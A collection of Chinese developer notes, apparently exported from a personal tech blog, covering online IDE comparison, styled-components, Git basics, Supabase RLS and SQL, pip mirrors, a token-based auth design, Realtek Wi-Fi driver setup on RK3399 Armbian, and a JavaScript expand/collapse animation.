* 教程与示例项目
* 零配置快速启动项目

## CodeSandbox 的双模式结构

CodeSandbox 同时提供两种完全不同的运行模型，需要明确区分。

### Browser Sandbox

Browser Sandbox 是纯浏览器环境，更接近“高级版 CodePen”。

* 不是真正的 Node 环境
* 由平台托管运行结果
* 不消耗 VM 运行时间
* 可免费、长期使用

适用场景

* 示例代码
* 最小复现仓库
* 文档配套 Demo

### Devbox（云 VM）

Devbox 是 CodeSandbox 的完整形态，提供真实 Linux 虚拟机。

* 真 Linux / 真进程 / 真网络
* 支持 Docker、数据库、后端服务
* 支持 Python、Java、Go、Rust 等语言
* 免费额度有限，按运行时间计费

适用场景

* 后端开发
* 全栈项目
* 接近生产环境的调试

## 免费策略对比

三者在“免费”上的逻辑并不相同。

* CodePen：永久免费，无 VM 概念
* StackBlitz：浏览器 WASM 运行，无时间额度
* CodeSandbox Browser Sandbox：免费，不消耗 VM
* CodeSandbox Devbox：免费试用额度有限

免费限制的本质差异

* StackBlitz 限制的是能力边界
* CodeSandbox Devbox 限制的是运行资源

## 选型决策参考

* 写前端效果或展示 → CodePen
* 写完整前端工程 → StackBlitz
* 写后端或多语言项目 → CodeSandbox Devbox
* 写文档示例或最小复现 → CodeSandbox Sandbox

## 技术视角下的本质区别

* StackBlitz 是“浏览器即操作系统”的尝试
* CodeSandbox 是“云端开发环境”的入口
* CodePen 是“前端表达工具”

它们不是替代关系，而是针对不同阶段、不同复杂度的工具选择。

***

完全免费 + 最接近 99% 本地开发体验的，是 StackBlitz。

StackBlitz 给了你一个完整但封闭的世界；

CodeSandbox Devbox 给了你一个开放但计费的世界。

​

---

---
url: /posts/8do4r16l/index.md
---
# styled-components 笔记
styled-components 是 React 生态中最成熟、最符合直觉的 CSS-in-JS 方案之一，它允许你直接在 TSX 中书写原生 CSS，同时自动完成样式隔离、命名和注入，非常适合真实业务开发

## 核心理念

styled-components 的核心思想是：**样式即组件的一部分**，组件和样式天然绑定，而不是通过全局 class 或文件名关联

* 样式只作用于当前组件
* 样式与组件生命周期一致
* 通过 JS 能力增强 CSS 表达力

## 安装与基础配置

```bash
npm install styled-components

npm install -D @types/styled-components
```

如果你使用 Vite / CRA，默认即可工作；SSR（Next.js）需要额外配置

## 创建第一个样式组件

```tsx
import styled from 'styled-components';

const Button = styled.button`
  padding: 8px 16px;
  border-radius: 6px;
  border: none;
  background: #1677ff;
  color: #fff;
  cursor: pointer;
`;
```

* 使用 `styled.xxx` 创建组件
* 模板字符串中书写的是**原生 CSS**
* 生成的组件可直接在 JSX 中使用

重点一句话：它已经是一个 React 组件了。

像普通 React 组件一样用，直接在 JSX 里用

```tsx
function App() {
  return (
    <div>
      <Button>点我</Button>
    </div>
  );
}
```

* 不需要 `className`
* 不需要 import css
* 样式已经自动注入到 `<head>`

默认支持所有 button 原生属性，都原样透传

```tsx
<Button disabled onClick={() => alert('clicked')}>
  提交
</Button>
```

## 样式隔离与可读类名

styled-components 会自动生成类似下面的 class

`Button-sc-kAzzGY-0`

* 开发环境包含组件名，方便调试
* 样式天然隔离，无需担心冲突
* 生产环境会自动压缩

## 使用 Props 控制样式

这是 styled-components 在实际开发中**使用频率最高**的能力

```tsx
const Button = styled.button<{ primary?: boolean }>`

  background: ${p => (p.primary ? '#1677ff' : '#eee')};
  color: ${p => (p.primary ? '#fff' : '#333')};

`;
```

* 样式与组件状态强关联
* 支持完整 TypeScript 类型推导
* 比 class 切换更直观

## 条件样式与片段复用

```tsx
import { css } from 'styled-components';

const dangerStyle = css`
  background: #ff4d4f;
  color: #fff;
`;

const Button = styled.button<{ danger?: boolean }>`
  padding: 8px 16px;
  ${p => p.danger && dangerStyle}

`;
```

* `css` 用于抽离可复用样式片段
* 常用于主题、状态、尺寸系统

## 伪类、嵌套与媒体查询

styled-components 完整支持 CSS 能力

```tsx
const Card = styled.div`
  padding: 16px;
  &:hover {
    box-shadow: 0 4px 12px rgba(0,0,0,0.12);
  }
  @media (max-width: 768px) {
    padding: 12px;
  }

`;
```

* 不需要额外配置
* 心智模型与写 CSS 文件完全一致

## 扩展已有组件样式

```tsx
const PrimaryButton = styled(Button)`
  background: #52c41a;
`;
```

* 用于构建组件体系
* 不破坏原组件逻辑

## 全局样式

用于 reset、body 样式、主题背景等

```tsx
import { createGlobalStyle } from 'styled-components';

const GlobalStyle = createGlobalStyle`
  body {
    margin: 0;
    font-family: system-ui;
  }
`;
```

* 仅建议放基础样式
* 不要把业务样式写进全局

## 主题系统 ThemeProvider

```tsx
import { ThemeProvider } from 'styled-components';

const theme = {
  primary: '#1677ff',
  radius: '6px'
};
const Button = styled.button`
  background: ${p => p.theme.primary};
  border-radius: ${p => p.theme.radius};
`;
```

* 适合设计系统、暗黑模式
* theme 是隐式注入的 props

## attrs 技巧

用于处理 class、type、默认属性

```tsx
const Input = styled.input.attrs({ type: 'text' })`
  padding: 8px;
`;
```

* 常用于 form 组件
* 保持 JSX 干净

## 样式组织最佳实践

* 一个组件文件配一个 styled 定义
* 样式与组件放在同一目录
* 大组件可拆成 `styles.ts`
* 避免在 styled 中写业务逻辑

## 性能与注意事项

* styled-components 有运行时开销，但对大多数业务可忽略
* 避免在 render 中创建 styled 组件
* 动态样式优先使用 props，而不是字符串拼接

## SSR 与 Next.js 提示

* 需要收集样式并注入 HTML
* 官方文档提供完整示例
* 否则会出现样式闪烁

---

---
url: /posts/8jnng99m/index.md
---
# 代码质量笔记
使用 Prettier 格式化所有文件：

```bash
npx prettier . --write
```

`--check` 与 `--write` 类似，但只检查文件是否已格式化，而不是覆盖它们。`prettier --write` 和 `prettier --check` 是运行 Prettier 最常见的方式。

[具体配置](https://prettier.nodejs.cn/docs/options)

---

---
url: /posts/904j33pk/index.md
---
# VMware 笔记
## Ubuntu Desktop 粘贴板问题

如果你是 Ubuntu / Linux Desktop：

```bash
sudo apt update
sudo apt install open-vm-tools open-vm-tools-desktop -y
sudo systemctl restart vmtoolsd
```

**Server 没 GUI** → 没必要安装 `open-vm-tools-desktop`

然后重启虚拟机，剪贴板一般就能互通了。

## Ubuntu Desktop SSH

安装 OpenSSH Server

```bash
sudo apt update
sudo apt install openssh-server -y
sudo systemctl status ssh # 检查服务状态
```

启动 / 重启 SSH 服务：

```bash
sudo systemctl start ssh       # 启动
sudo systemctl restart ssh     # 重启
```

---

---
url: /posts/9dmx81gk/index.md
---
# 快速上手Git
初始化仓库：`git init <project>`

显示所以文件：`ls -a`

> **.git目录**存放了Git仓库的所以数据

查看.git目录:

* ​	`cd .git`
  ​	`ls -altr`

删除.git目录：`\rm -rf .git`

克隆仓库：`git clone url`

![](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109247_0.png)

#### 文件状态：

* 未跟踪（Untrack）：指新创建的文件，还未被Git管理起来的
* 未修改（Unmodified）：指已经被Git管理，但文件内容未发生变化
* 已修改（Modified）：指文件内容发生变化，但是还没有添加至暂存区
* 已暂存（Staged）：指文件修改后并且已经添加至暂存区的文件

![](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109254_0.png)

* `git init` 创建仓库

* `git status` 查看仓库状态

  （查看当前仓库处于哪个分支，有哪些文件及其文件当前处于什么状态）

* `git add` 添加到暂存区

* `git commit` 提交

  （`git commit -m "提交信息"`  **-m参数来指定提交的信息**）

  **提交文件时只会提交暂存区的文件，而不会提交工作区的文件**

创建文件及内容：`echo "这是文件的内容" >  file.txt`

查看文件内容：`cat file.txt`

> Untracked files指未被跟踪的文件

把添加到暂存区的文件取消暂存：`git rm --cached file`

修改文件名称：`mv OldFileName NewFileName`

把所有**以txt结尾的文件**添加到暂存区：`git add *.txt`

添加**所有文件**到暂存区：`git  add .`

> 在vim编辑器中使用 `i` 键进入编辑模式，`wq`键保存并且退出

提交记录：`git log`

> git后可以加入参数，如`git log --oneline`查看简洁的提交记录

回退版本：`git reset`

![](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109259_0.jpg)

查看暂存区内容：`git ls-files`

回退到上一个版本：`git reset --hard HEAD^`

> 当前命令指 回退到上一个版本时，工作区和暂存区的文件都会清除
>
> head加一个尖角号表示上一个版本

> 查看操作历史：`git reflog`
>
> 如果误操作可以使用`git reset --hard 版本号`回退到这个版本即可

查看文件差异：`git diff`

* 查看工作区，暂存区，本地仓库之间的差异
* 查看不同版本之间的差异
* 查看不同分支之间的差异

直接使用git diff命令会默认比较工作区和暂存区之间的差异内容，会显示发生更改的文件以及更改的详细信息（有误）

使用vim修改文件内容：`vi <fileName>`

> vi命令用于打开或者新建文件，并将光标置于第一行

`git diff` **命令显示工作区中已修改但尚未添加到暂存区的文件的差异**

`git diff HEAD` 用来查看当前工作区与\*\*最新提交（HEAD）\*\*之间的差异

比较暂存区和版本库的差异：`git diff --cached`

比较特定版本差异：`git diff <提交ID> <提交ID>`

\*\*`head`\**表示当前分支的最新提交（它指向分支的最新节点）*

常用到比较当前版本和上一个版本之间的差异**简便方式**：`git diff head~ head`

\*\*`head~`\*\*表示上一个版本

`git diff head~2 head`表示head之前的第二个版本\*\*？\*\*

> 后面还可以加上文件名，这样就只会查看这个文件的差异内容了

查看分支之间差异：`git diff <branchName> <branchName>`

![](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109262_0.jpg)

> 图片有误

删除文件命令：`rm <fileName>`

查看暂存区内容：`git ls-files`

从工作区和暂存区中删除文件：`git rm <fileName>`

把文件暂存区中删除，保留工作区：`git rm --cached <fileName>`

递归删除某个目录下的所有子目录和文件：`git rm -r*`

#### .gitignore

忽略文件：让我们忽略一些不应该被加入到版本库中的文件

忽略文件项：

* 系统或者软件自动生成的文件
* 编译产生的中间文件和结果文件
* 运行时生成日志文件，缓存文件，零时文件
* 涉及铭感信息的文件，密码，口令，秘钥等

`echo <fileName>  >  .gitignore`

`*.log`匹配所有以log结尾的文件

两个`>>` 追加内容：`echo "内容" >>  <fileName>`

查看状态的简略模式：`git status -s`

> 第一列表示暂存区状态，第二列表示工作区状态
>
> 如果要在.gitignore中忽略某个文件夹，注意文件夹是以斜线结尾的 `temp/`

![](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109265_0.jpg)

#### github/gitignore

在GitHub中提供了各种常用的忽略问价模板

#### 远程仓库

##### 配置SSH密钥

回到用户根目录，进入.ssh目录

使用`ssh-keygen`生成密钥

`-t rsa`表示协议为rsa

`-b 4096`指定生成大小

`ssh-keygen -t rsa -b 4096`

如果第一次使用这个命令直接回车就好，它会在我们用户根目录下生成一个id\_rsa的密钥文件

如果之前配置过了ssh密钥，最好不要回车，因为之前生成过了密钥文件，如果再次回车会覆盖文件，且不可逆

> 生成文件中没有扩展名的就是私钥文件，以.pub的文件就是公钥文件

如果是第一次创建密钥，且创建密钥的时候没有修改过默认文件，配置ssh就到此

如果指定了一个新的文件名，还需要增加一不配置，创建一个config文件

![](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109267_0.jpg)

意思：当我们访问GitHub时，指定使用SSH下的test密钥

使用`vi config` 写入即可

![](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109269_0.jpg)

推送：git push

拉取：git pull

![](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109271_0.jpg)

#### 关联本地仓库和远程仓库

`git remote add <shortname>  <url>`添加远程仓库

`git remote -v`查看当前仓库对应的远程仓库的别名和地址

`git branch -m <main>`指定分支的名称为main

`git push -u origin <main>`将本地main分支和远程origin仓库的main分支关联起来

> 如果本地分支的名称与远程分支的名称相同的话，省略只写一个main即可

`git pull <远程仓库名> <远程分支名>:<本地分支名>`拉取远程仓库的修改的内容

#### 分支

`code .`使用vscode打开当前目录

![](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109272_0.jpg)

创建新分支`git branch <name>`

查看所有分支`git branch`

切换分支`git checkout <name>`

> 存在且在问题，git checkout命令还可以用来恢复文件或者目录到之前的某一个状态
>
> 比如意外修改了某个文件，可以使用git checkout 命令来恢复到我们之前修改前的状态
>
> 但是，如果分支名称和文件名称相同的话就会产生歧义，会默认切换分支，而不是恢复文件

新命令切换文件：`git switch <name>`

将不同分支合并到当前分支中：`git merge <将要合并的分支>`

查看分支图：`git log --graph --oneline --decorate --all`

删除分支：`git branch -d <name>`

> -d参数表示删除**已经完成合并**的分支
>
> 否则使用-D强制删除分支

#### 解决合并冲突

> 指同时修改两个分支的同一个文件，git不知道该保存哪一个

解决方法：手动编辑，留下想要内容，然后再重新提交

在提交之前中断合并`git merge --abort`(当不想继续执行操作时可以使用命令来中止合并操作)

![](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109275_0.jpg)

恢复指定时间点的状态`git checkout -b  <dev>  <id>`

创建一个新分支并切换到该分支`git checkout -b <name>`

查看提交ID`git log --graph --oneline --decorate --all`

定义命令别名：`alias <别名> = "命令"`

变基分支：`git rebase <目标分支>`

Merge

优点：不会破坏原分支的提交历史，方便回溯和查看

缺点：会产生额外的提交节点，分支图复杂

Rebase

优点：不会新增额外的提交记录，形成线性历史，比较直观和干净

缺点：会改变提交历史，改变了当前分支branch out的节点，**避免在共享分支使用此命令**

#### 分支管理和工作流

GitFlow模型

![](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109277_0.jpg)

---

---
url: /posts/9fkaz0oo/index.md
---
# Supabase 踩坑手记
## Supabase 中的 3 类访问者

| 访问者类型             | 用途               | 使用密钥/令牌              | 对应角色        | 是否受 RLS 限制 | 场景示例                   |
| ---------------------- | ------------------ | -------------------------- | --------------- | --------------- | -------------------------- |
| 🛡️ 服务端（超级管理员） | 后端/脚本/部署工具 | `service_role key`         | 无（绕过 RLS）  | ❌ 不受限制      | 后端服务加载配置、管理数据 |
| 👤 登录用户             | 已登录的普通用户   | `access_token` 登录令牌    | `authenticated` | ✅ 遵守 RLS      | 用户查看个人信息、业务操作 |
| 🧍‍♂️ 游客                | 未登录访问者       | `anon key`（匿名访问密钥） | `anon`          | ✅ 遵守 RLS      | 公共页面加载、注册请求等   |

**服务端（Super Admin）**

* 用 `service_role key` 来访问 Supabase 的 REST 或客户端
* **不会执行 Row-Level Security (RLS)**，权限最大
* 不建议前端使用（泄露就等于数据库裸奔）
* NestJS / Node 后端**应该用它**

**游客（anon）**

* 使用 `anon key`，**适合前端未登录状态访问**
* 角色为 `anon`
* 如果你希望“允许任何人读取一些数据”，就需要为 `anon` 创建 RLS Policy

**已登录用户（authenticated）**

* 用户通过 `supabase.auth.signInWithPassword()` 登录成功
* 之后客户端会获得一个 `access_token`
* 后续 API 请求会自动带上 `Authorization: Bearer <access_token>`，Supabase 就知道你是登录用户
* 角色为 `authenticated`
* 可以基于此做更精细的权限控制（只允许访问自己的数据等）

**注意**：Supabase 不支持自定义角色字段（role 只是 JWT claim）

Supabase 本身只识别两种用户角色：

* `anon`
* `authenticated`

想要实现 **“管理员”、“普通用户”** 这样的**自定义角色权限**，你可以用这种方式：

```ts
-- users 表中加一个 role 字段
-- 然后在 RLS policy 中判断 auth.uid() 所对应用户的 role
```

示例 RLS：

```sql
create policy "only admins can see this"
on some_table
for select
to authenticated
using (
  exists (
    select 1 from users
    where users.id = auth.uid()
    and users.role = 'admin'
  )
);
```

**在控制台哪里配置权限？**

你可以在 Supabase 控制台中：

1. 打开 `Table Editor` → 点某个表
2. 点击右上角的 `RLS` 开关（默认关闭，建议开启）
3. 添加 Row Level Policies（行级安全策略），根据 `anon` 或 `authenticated` 配置访问条件

**总结**：

Supabase 实际上只有两类**RLS角色**：`anon` 和 `authenticated`。服务端使用 `service_role` 密钥是“超级权限模式”，绕过所有规则，适合后端。
想实现更复杂的“角色权限”，请通过数据库字段 + RLS Policy 手动实现。

## 自增ID重置序列

```sql
select setval(pg_get_serial_sequence('[表名]', '[自增字段]'), [重置值]);
```

比如：

```sql
select setval(pg_get_serial_sequence('motivational_quotes', 'id'), 136);
```

那么下一个插入就是 136。

## 书签数据库SQL代码

**插入新分类**

假设新分类 id 是 `new_category_id`，名称是 `新分类名称`，是否默认展开 `default_expanded`（true/false）

```sql{2}
INSERT INTO categories (id, title, default_expanded, created_at, updated_at)
VALUES ('[new_category_id]', '[新分类名称]', false, NOW(), NOW())
ON CONFLICT (id) DO UPDATE SET
  title = EXCLUDED.title,
  default_expanded = EXCLUDED.default_expanded,
  updated_at = EXCLUDED.updated_at;
```

**创建新资源表**

假设资源表命名规则为 `resources_新分类id`，例如：`resources_new_category_id`

```sql {1,14}
CREATE TABLE IF NOT EXISTS resources_[new_category_id] (
  uuid UUID PRIMARY KEY DEFAULT gen_random_uuid(),
  category_id TEXT REFERENCES categories(id) ON DELETE CASCADE,
  title VARCHAR(255) NOT NULL,
  "desc" TEXT,
  link TEXT NOT NULL,
  linktxt VARCHAR(255),
  icon TEXT,
  badge VARCHAR(50),
  badge_type VARCHAR(50),
  enabled BOOLEAN NOT NULL DEFAULT TRUE,
  created_at TIMESTAMP NOT NULL DEFAULT NOW(),
  updated_at TIMESTAMP NOT NULL,
  CONSTRAINT unique_title_link_[new_category_id] UNIQUE (title, link)
);
```

**插入新资源数据示范**

```sql {1,4,5}
INSERT INTO resources_[new_category_id] (
  uuid, category_id, title, "desc", link, linktxt, icon, badge, badge_type, enabled, created_at, updated_at
) VALUES
(gen_random_uuid(), '[new_category_id]', '资源标题1', '资源描述1', 'https://resource1.link/', 'resource1.link', NULL, NULL, NULL, TRUE, NOW(), NOW()),
(gen_random_uuid(), '[new_category_id]', '资源标题2', '资源描述2', 'https://resource2.link/', 'resource2.link', NULL, NULL, NULL, TRUE, NOW(), NOW());
```

**建表代码**

```sql
-- 分类表
CREATE TABLE IF NOT EXISTS categories (
  id TEXT PRIMARY KEY,
  title VARCHAR(255) NOT NULL,
  default_expanded BOOLEAN NOT NULL DEFAULT FALSE,
  created_at TIMESTAMP NOT NULL DEFAULT NOW(),
  updated_at TIMESTAMP NOT NULL
);

-- 示例资源表（比如 frontend 资源）
CREATE TABLE IF NOT EXISTS resources_[xxx] (
  uuid UUID PRIMARY KEY DEFAULT gen_random_uuid(),
  category_id TEXT REFERENCES categories(id) ON DELETE CASCADE,
  title VARCHAR(255) NOT NULL,
  "desc" TEXT, 
  link TEXT NOT NULL,
  linktxt VARCHAR(255),
  icon TEXT,
  badge VARCHAR(50),
  badge_type VARCHAR(50),
  enabled BOOLEAN NOT NULL DEFAULT TRUE,
  created_at TIMESTAMP NOT NULL DEFAULT NOW(),
  updated_at TIMESTAMP NOT NULL,
  CONSTRAINT unique_title_link UNIQUE (title, link)
);

```

---

---
url: /posts/9o9kqkdl/index.md
---
# Python 笔记
## 运行代码

```bash
git clone https://github.com/name/repo.git
cd repo
```

建虚拟环境，安装依赖

这个仓库通常会有 `requirements.txt`

创建 venv

```bash
python -m venv .venv
.\.venv\Scripts\Activate.ps1
```

安装依赖

```bash
pip install -r requirements.txt
```

## 使用镜像

**临时使用镜像**，每次安装时加 `-i` 指定镜像：

清华源

```bash
pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
```

阿里源

```bash
pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple
```

中科大源

```bash
pip install -r requirements.txt -i https://pypi.mirrors.ustc.edu.cn/simple
```

**永久设置 pip 镜像**

在 Windows PowerShell 里执行：

```bash
pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple
pip config set global.trusted-host pypi.tuna.tsinghua.edu.cn
```

查看是否生效

```bash
pip config list
```

如果想要像 npm 一样快的包管理（甚至比 npm 还快），你可以用 **uv**：

* 比 pip 快很多（Rust 写的）
* 自动管理虚拟环境
* 装包速度非常“离谱”
* 兼容 requirements.txt

安装 uv（Windows）

```bash
pip install uv -i https://pypi.tuna.tsinghua.edu.cn/simple
```

然后你以后装依赖直接用：

```bash
uv pip install -r requirements.txt
```

或者：

```bash
uv pip install mkdocs-material
```

---

---
url: /posts/9oc81uun/index.md
---
# 认证架构
## 认证架构：Refresh Cookie + Access Token（内存）两段式

基础架构是 **refresh 放 HttpOnly cookie**，**access 放内存 + header**

### 目标

* **长期凭证更安全**（不暴露给 JS，降低被盗后跨设备复用风险）
* **业务请求更可控**（用 header 携带 access token，减少 CSRF 面积）
* **体验不掉线**（access 过期后可自动刷新）

## 凭证分层

### Refresh Token（长期）

* 存放位置：**HttpOnly Cookie**
* 特性：长期有效（如 7–30 天）、仅用于换取新的 access token
* Cookie 关键属性：
  * `HttpOnly`（JS 读不到）
  * `Secure`（仅 HTTPS）
  * `SameSite=Lax`（跨站才用 `None`）
  * `Path=/auth/refresh`（强烈建议：只让刷新接口携带）

> Cookie 里尽量放 **短小的随机串（opaque token）**，不要塞用户信息。

### Access Token / Session Token（短期）

* 存放位置：**JS 内存**（变量/状态管理）
* 特性：短命（如 5–15 分钟），页面刷新/关闭即丢
* 使用方式：每次业务请求加 header `Authorization: Bearer <access_token>`

> Access token 只放必要信息：`userId/sub`、`roles/scopes`、`exp` 等；用户资料（name/email/displayName）建议走 `/me` 获取并缓存。

## 核心流程

### 登录

1. 前端提交账号密码到 `/auth/login`
2. 后端验证成功：
   * `Set-Cookie: refresh=...; HttpOnly; Secure; SameSite=...; Path=/auth/refresh`
   * 响应 body 返回 `access_token`（短期）
3. 前端把 `access_token` 存内存，后续请求都带 `Authorization`

### 正常请求

* 前端调用业务 API：带 `Authorization: Bearer <access_token>`
* 后端验证 access token 通过 → 返回数据

### Access 过期自动续期

1. 业务请求返回 401（token 过期）
2. 前端调用 `/auth/refresh`：
   * 浏览器自动带 refresh cookie（因为 Path 匹配）
3. 后端校验 refresh token，通过则返回新的 `access_token`
   * 可选：refresh token 轮换（rotation），再发一次 `Set-Cookie` 更新 refresh
4. 前端更新内存中的 access token，然后**重放之前失败的请求**

### 登出

* 前端调用 `/auth/logout`
* 后端清理/作废 refresh，并通过 `Set-Cookie` 让 refresh 过期（Max-Age=0）

## 安全要点总结

* **重要凭证放 HttpOnly Cookie**，并缩小作用域（`Path=/auth/refresh`）
* **业务接口不依赖 cookie**（用 header access token），降低 CSRF 风险
* **access token 短命 + 内存存储**，减少泄露窗口
* XSS/CSRF 仍需基础防护：
  * CSP、输出编码、依赖治理（防 XSS）
  * SameSite 合理设置；必要时 CSRF token（防 CSRF）

---

---
url: /posts/9spikinp/index.md
---
在 **RK3399 + Armbian** 上用 USB 无线网卡，没反应通常就是驱动问题。水星网卡一般用的是 **Realtek 芯片**，Armbian 内核里很多并没有预装对应驱动。

**系统环境**：Armbian 6.1.114-ophub（RK3399 开发板）
**芯片**：Realtek RTL8188EUS / RTL8710BU
**问题**：板载 Wi-Fi 信号弱，插入 USB 网卡无法识别，尝试 DKMS 驱动编译失败。

## 检查 USB 网卡是否被识别

```bash
lsusb
nmcli dev wifi list
```

输出示例：

```yaml
Bus 002 Device 003: ID 0bda:1a2b Realtek Semiconductor Corp. RTL8188GU 802.11n WLAN Adapter
```

状态：ID 为 `0bda:1a2b`，处于“Driver CDROM Mode”，需要 usb-modeswitch。

## 切换 USB 网卡模式（如果设备支持模式切换）

```bash
sudo apt update
sudo apt install usb-modeswitch usb-modeswitch-data
sudo usb_modeswitch -v 0bda -p 1a2b -R
sudo usb_modeswitch -c /etc/usb_modeswitch.d/0bda:1a2b
```

切换完成后用 `lsusb` 确认：

```bash
Bus 002 Device 005: ID 0bda:b711 Realtek Semiconductor Corp. RTL8188GU 802.11n WLAN Adapter (After Modeswitch)
```

## 尝试 DKMS 驱动（可选，但在定制 kernel 上可能失败）

```bash
# 克隆 / 下载 RTL8188EUS 驱动源码
git clone https://github.com/aircrack-ng/rtl8188eus.git
cd rtl8188eus

# 尝试 DKMS 安装
sudo chmod +x dkms-install.sh
sudo ./dkms-install.sh
```

注意：

* 定制 kernel 缺少 headers 或使用不同编译器，会导致 DKMS 编译失败。
* 错误示例：

```yaml
fatal error: rtw_byteorder.h: No existe el fichero o directorio
```

**结论**：在 RK3399 定制 Armbian 上，直接使用内核自带的 `rtl8xxxu` 模块更可靠。

## 加载 RTL8XXXU 内核驱动

```yaml
sudo modprobe rtl8xxxu
dmesg | tail -n 20
```

**问题**：

```yaml
rtl8xxxu: Loading firmware rtlwifi/rtl8710bufw_SMIC.bin failed
```

**原因**：缺少固件文件

## 下载缺失固件并放置到 `/lib/firmware/rtlwifi/`

```bash
wget https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/plain/rtlwifi/rtl8710bufw_SMIC.bin
sudo mkdir -p /lib/firmware/rtlwifi
sudo cp rtl8710bufw_SMIC.bin /lib/firmware/rtlwifi/
```

## 重新加载驱动

```bash
sudo rmmod rtl8xxxu
sudo modprobe rtl8xxxu
dmesg | tail -n 20
```

确认输出示例：

```yaml
rtl8xxxu: Loading firmware rtlwifi/rtl8710bufw_SMIC.bin
Firmware revision 16.0 (signature 0x10b1)
```

表示固件加载成功，USB 网卡可用。

## 检查无线接口

```bash
ip link show
```

示例：

```yaml
5: wlan1: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 ...
```

## 扫描 Wi-Fi

```bash
nmcli dev wifi list
```

成功扫描到周围 Wi-Fi，网卡工作正常。

## 总结

RK3399 定制 Armbian 的 kernel 不一定能用 DKMS 编译 RTL8188EUS 驱动，直接使用 `rtl8xxxu` 更可靠。

必须下载缺失固件 `rtl8710bufw_SMIC.bin` 放入 `/lib/firmware/rtlwifi/`。

USB 网卡识别完成后，可用 `nmcli` 或 `iw` 扫描连接 Wi-Fi。

## 注意

> **之后插拔后都能正常工作吗**？

已经把 `rtl8710bufw_SMIC.bin` 放在 `/lib/firmware/rtlwifi/`。

* **效果**：内核 `rtl8xxxu` 模块每次插入网卡都会自动加载固件，不需要重复操作。
* **前提**：固件文件不能被删除或移动。

***

插上 USB 网卡时，内核会自动识别并加载 `rtl8xxxu`。

拔掉 USB 网卡时，驱动会自动释放资源。

插拔多次不会损坏驱动，但 **热插拔可能会短暂显示 `NO-CARRIER`**，属于正常现象。

***

如果你同时加载过 `8188eu` DKMS 驱动，可能会和 `rtl8xxxu` 冲突。

* 建议卸载 DKMS 驱动：

```bash
sudo dkms remove 8188eu/5.3.9 --all
```

使用 `nmcli` 或 `iwconfig` 时，如果网卡状态显示 DOWN，手动启用：

```bash
sudo ip link set wlan1 up
```

如果系统重启，网卡依然可用，因为固件和驱动都在系统里。

---

---
url: /posts/ane1bci9/index.md
---
# 平滑展开收起笔记
### 使用 JS 计算高度

最真实、最通用，强烈推荐

核心思路：

* 展开时：把 `height` 从 `0px` 动画到 `scrollHeight px`
* 收起时：把 `height` 从当前高度动画到 `0px`

```html
<button id="toggle">展开/收起</button>
<div class="dropdown" id="dropdown">
  <div class="content">
    <p>这里是内容</p>
    <p>可以很多很多行</p>
    <p>高度不固定</p>
  </div>
</div>
```

```css
.dropdown {
  height: 0;
  overflow: hidden;
  transition: height 0.3s ease;
}
```

```js
const dropdown = document.getElementById("dropdown");
const btn = document.getElementById("toggle");

let open = false;

btn.onclick = () => {
  open = !open;

  if (open) {
    // 先设置成真实高度，让它有动画目标
    dropdown.style.height = dropdown.scrollHeight + "px";

    // 动画完之后把 height 设成 auto，避免内容变化被截断
    dropdown.addEventListener("transitionend", function handler() {
      dropdown.style.height = "auto";
      dropdown.removeEventListener("transitionend", handler);
    });
  } else {
    // 收起：如果是 auto，先固定成具体高度再收起
    dropdown.style.height = dropdown.scrollHeight + "px";
    // 强制触发 reflow，让浏览器知道 height 变了
    dropdown.offsetHeight;
    dropdown.style.height = "0px";
  }
};
```

**优点**：高度自适应、动画自然、内容再多都能平滑

**注意点**：要做一次 `auto` 与 `px` 的切换

***

`（height: 0 → scrollHeight）` 如果内容很长，用固定 0.3s 的过渡会怪

CSS transition 本身就支持动画曲线：

```css
transition: height 0.3s cubic-bezier(.4,0,.2,1);
```

或者更自然一点的（展开更柔和）：

```css
transition: height 0.3s cubic-bezier(.33, 1, .68, 1);
```

可以直接用 `ease-in-out`，但一般不如自定义贝塞尔顺滑。

更重要的是：**根据高度动态调整 duration**（解决“长列表怪”）

**高度越大，动画越长，但要有上限、下限**

这样长内容不会太快、短内容不会太慢。

**推荐公式（经验值）**

`duration = clamp(min, height / speed, max)`

`speed` 推荐 `1.5px/ms ~ 2.5px/ms`

比如：

* 高度 100px → 150ms
* 高度 500px → 300ms
* 高度 1200px → 450ms（上限）

方案 1（最简单）：动态设置 `transition-duration`

CSS（只放 easing）

```css
.dropdown {
  height: 0;
  overflow: hidden;
  transition-property: height;
  transition-timing-function: cubic-bezier(.33, 1, .68, 1);
}
```

JS（计算 height + duration）

```js
const dropdown = document.getElementById("dropdown");
const btn = document.getElementById("toggle");

let open = false;

function getDuration(height) {
  // height(px) / speed(px/ms)
  const speed = 2; // 数字越小越慢
  const min = 150;
  const max = 450;

  return Math.min(max, Math.max(min, height / speed));
}

btn.onclick = () => {
  open = !open;

  if (open) {
    const h = dropdown.scrollHeight;
    const duration = getDuration(h);

    dropdown.style.transitionDuration = duration + "ms";
    dropdown.style.height = h + "px";

    dropdown.addEventListener("transitionend", function handler() {
      dropdown.style.height = "auto";
      dropdown.removeEventListener("transitionend", handler);
    });
  } else {
    const h = dropdown.scrollHeight;
    const duration = getDuration(h);

    dropdown.style.transitionDuration = duration + "ms";

    dropdown.style.height = h + "px";
    dropdown.offsetHeight; // force reflow
    dropdown.style.height = "0px";
  }
};
```

这就是“**内容越长动画越自然**”的版本

**再更进阶一点：让展开/收起都有不同的手感**

通常：

* 展开：稍慢、柔和
* 收起：稍快、干脆

可以加两个不同 easing：

```js
const easeOpen = "cubic-bezier(.33, 1, .68, 1)";  // easeOut-ish
const easeClose = "cubic-bezier(.32, 0, .67, 0)"; // easeIn-ish
```

然后在 JS 里切换：

```js
dropdown.style.transitionTimingFunction = open ? easeOpen : easeClose;
```

